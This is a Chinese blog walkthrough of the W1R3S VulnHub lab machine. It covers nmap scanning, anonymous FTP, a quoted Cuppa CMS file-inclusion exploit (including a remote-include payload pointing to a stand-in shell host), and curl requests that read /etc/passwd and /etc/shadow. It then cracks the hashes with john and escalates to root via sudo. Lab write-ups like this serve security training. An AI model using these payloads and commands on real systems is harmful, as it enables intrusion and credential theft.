• 红队渗透靶场之W1R3S靶场(超详细!)


    W1R3S考察知识

    • nmap的基本使用
    • 目录爆破工具的使用
    • CMS漏洞的利用
    • Linux用户的简单提权

    W1R3S靶场搭建

    W1R3S靶场下载地址: https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

    将下载的虚拟机文件放到VMware中打开运行即可

    1


    渗透步骤

    信息收集

    1.存活主机发现

    扫描C段存活主机: nmap -sn 192.168.47.0/24 , 确定W13RS的靶机IP为192.168.47.154

    image-20221123120122098


    2.端口扫描

    扫描192.168.47.154的开放端口, 分别使用TCP和UDP扫描, 这样做的目的是——运维人员可能会忘记对udp端口做安全防护

    扫描结果显示目标主机开放了21223306端口

    Tip: 在真实的渗透环境过程中, 应该使用nmap进行两次扫描来保证准确性

    nmap --min-rate 10000 -p- 192.168.47.154 #nmap默认使用TCP扫描
    nmap -sU -p21,22,80,3306 192.168.47.154 
    
    • 1
    • 2

    image-20221123120711921

    image-20221123120735931


    使用nmap自带的web漏扫脚本进行扫描

    nmap --script=vuln -p21,22,80,3306 192.168.47.154
    
    • 1

    image-20221123121251242


    3.FTP服务器渗透

    尝试使用匿名用户anonymous登录目标主机的FTP服务器, 匿名用户的密码默认为空

    image-20221123121634825


    收集FTP服务器的文件信息, 可使用mget命令远程下载FTP服务器文件

    Tip: 由于此处远程下载的目标文件均为txt文件, 所以在下载传输的过程中文件是不会损坏的, 若下载的文件为可执行文件或其他二进制文件, 那么需要先执行binary再使用mget命令下载文件

    1

    1

    1


    4.分析目标文件

    从Ftp服务器下载的文件有: 01.txt02.txt03.txtemployee-names.txtworktodo.txt

    image-20221123150052948


    查看01.txt, 其文件内容意思是:“为W1R3S准备的新的FTP服务器”, 属于无效信息

    image-20221123152141095


    查看02.txt, 文件内容是两段加密后的字符串,如果你有经验的话, 一眼就能够识别这两段字符串分别采用的是MD5加密和Base64加密

    MD5加密字符串通常是由32位或16位的16进制字符所组成, Base64加密字符最后面接等号

    image-20221123152607805


    也可以使用hash-identifier命令来识别字符串的加密形式, 下图已经识别出第一段字符串采用的是md5加密

    1


    对MD5加密后的字符串进行解密, 这里推荐一个MD5解密网站: https://hashes.com/, MD5解密后的结果为: This is not a password, 意思是"这不是一个密码", 属于无效信息

    1


    对base64字符串进行解密: echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d, 解密后的内容为"lt is easy, but not that easy", 意思是"这是简单的, 但不是那个简单", 字面意思有点模拟两可, 属于无效信息

    image-20221123153910258


    查看03.txt文件, 输出一段艺术字体, 信息量很小

    image-20221123155158969


    查看employee-names.txt文件, 从内容上看是应该是员工信息, 排版位员工名字对应所在部门

    image-20221123155409705


    查看worktodo.txt, 文件内容是一段倒置过来的字符串

    image-20221123155612924


    此处推荐一个处理文本倒置的在线网站:https://www.upsidedowntext.com/, 经过处理后得到的文本信息分别是"I don’t thınk this is the way to root!“和"we have a lot of work to do, stop playing around”, 整段意思是"我不认为这是得到root权限的一种方式, 我们有很多工作要去做, 停止在这里乱搞", 简单来说此处啥都搞不了, 要从其他地方入手

    1

    1


    web渗透

    1.目录爆破

    使用dirsearch工具对目标主机80端口的web服务进行目录爆破, 爆出两个可疑目录/administrator/wordpress, 看到wordpress心里就有底了, 因为这个框架很多漏洞

    python3 dirsearch.py -u http://192.168.47.154 -x 403
    
    • 1

    1


    2.尝试安装漏洞

    访问下administrator目录, 此处疑似安装漏洞

    image-20221124083958742


    安装网站失败, 提示没有Administrator权限, 那么此处先放弃

    image-20221124084132228


    3.识别cms搜索漏洞

    从网站的标题可以看出是该网站的cms为Cuppa, 也可以使用whatweb命令查询

    image-20221124084455926

    image-20221124084541325


    使用searchsploit命令查询Cuppa cms是否存在漏洞: searchsploit cuppa cms

    发现存在一处漏洞, 漏洞详情保存在25971.txt中, 将其导出来: searchsploit cuppa cms -m 25971.txt

    image-20221124084721342

    image-20221124084936506


    查看漏洞详情得知, 该cms可通过文件包含漏洞读取任意文件, 我们选取其中一个payload: http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd来试试

    ┌──(root㉿kali)-[~/桌面/dirsearch]
    └─# cat 25971.txt           
    # Exploit Title   : Cuppa CMS File Inclusion
    # Date            : 4 June 2013
    # Exploit Author  : CWH Underground
    # Site            : www.2600.in.th
    # Vendor Homepage : http://www.cuppacms.com/
    # Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
    # Version         : Beta
    # Tested on       : Window and Linux
    
      ,--^----------,--------,-----,-------^--,
      | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
      `+---------------------------^----------|
        `\_,-------, _________________________|
          / XXXXXX /`|     /
         / XXXXXX /  `\   /
        / XXXXXX /\______(
       / XXXXXX /
      / XXXXXX /
     (________(
      `------'
    
    ####################################
    VULNERABILITY: PHP CODE INJECTION
    ####################################
    
    /alerts/alertConfigField.php (LINE: 22)
    
    -----------------------------------------------------------------------------
    LINE 22:
            
    -----------------------------------------------------------------------------
    
    
    #####################################################
    DESCRIPTION
    #####################################################
    
    An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
    
    http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
    
    #####################################################
    EXPLOIT
    #####################################################
    
    http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
    http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
    
    Moreover, We could access Configuration.php source code via PHPStream
    
    For Example:
    -----------------------------------------------------------------------------
    http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
    -----------------------------------------------------------------------------
    
    Base64 Encode Output:
    -----------------------------------------------------------------------------
    PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
    -----------------------------------------------------------------------------
    
    Base64 Decode Output:
    -----------------------------------------------------------------------------
    
    -----------------------------------------------------------------------------
    
    Able to read sensitive information via File Inclusion (PHP Stream)
    
    ################################################################################################################
     Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
    ################################################################################################################                                                                                              
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89

    4.文件包含漏洞读取任意文件

    浏览器访问:http://192.168.47.154/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd, 没有回显, 此处用的是Get请求, 后面尝试下POST请求

    image-20221124090414629


    使用curl命令提交Post请求: curl -X POST -d urlConfig=../../../../../../../../../etc/passwd http://192.168.47.154/administrator/alerts/alertConfigField.php, 成功得到目标主机的passwd文件内容

    image-20221124090848346


    获取目标主机的shadow文件: curl -X POST -d urlConfig=../../../../../../../../../etc/shadow http://192.168.47.154/administrator/alerts/alertConfigField.php, 这里可以看到两处很明显的用户信息

    image-20221124091132347


    5.john破解密码文件

    将shadow文件内容复制到hash.txt中, 然后使用john命令进行破解: john hash.txt

    破解后可知两个用户登录口令, 分别是www-data/www-dataw1r32/computer

    此处有个巨坑, john命令无法再次解密同一个文件, 需要执行命令rm -r /root/.john/john.pot删除john.pot文件才能再次解密,(john.pot存放解密过的字符串)

    image-20221124102307090


    6.ssh远程登录提权

    使用ssh命令登录w1r3s用户: ssh w1r3s@192.168.47.154

    image-20221124102948023


    查看当前用户的权限:sudo -l, 可以发现是全权限

    image-20221124110506910


    既然是全权限, 可以直接执行sudo su获取root用户权限,随后获取root根目录下的flag.txt文件

    image-20221124111231733

  • 相关阅读:
    「Gitea篇」如何用Git平台账号登录建木CI
    【分享】5G+北斗RTK高精度人员定位解决方案
    C语言——有一篇文章,共有 3 行文字,每行有 80 个字符。要求分别统计出其中英文大写字母、小写字母、数字、空格以及其他字符的个数
    (黑马出品_05)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
    Android - 进程
    西门子——好用的通讯仿真通讯工具NetToPLCsim
    CRUD之文件的上传和下载
    L17.linux命令每日一练 -- 第三章 文件过滤及内容编辑处理命令 -- more和less命令
    OpenCV之pencilSketch函数
    k8s之service五种负载均衡byte的区别
  • 原文地址:https://blog.csdn.net/xf555er/article/details/128015707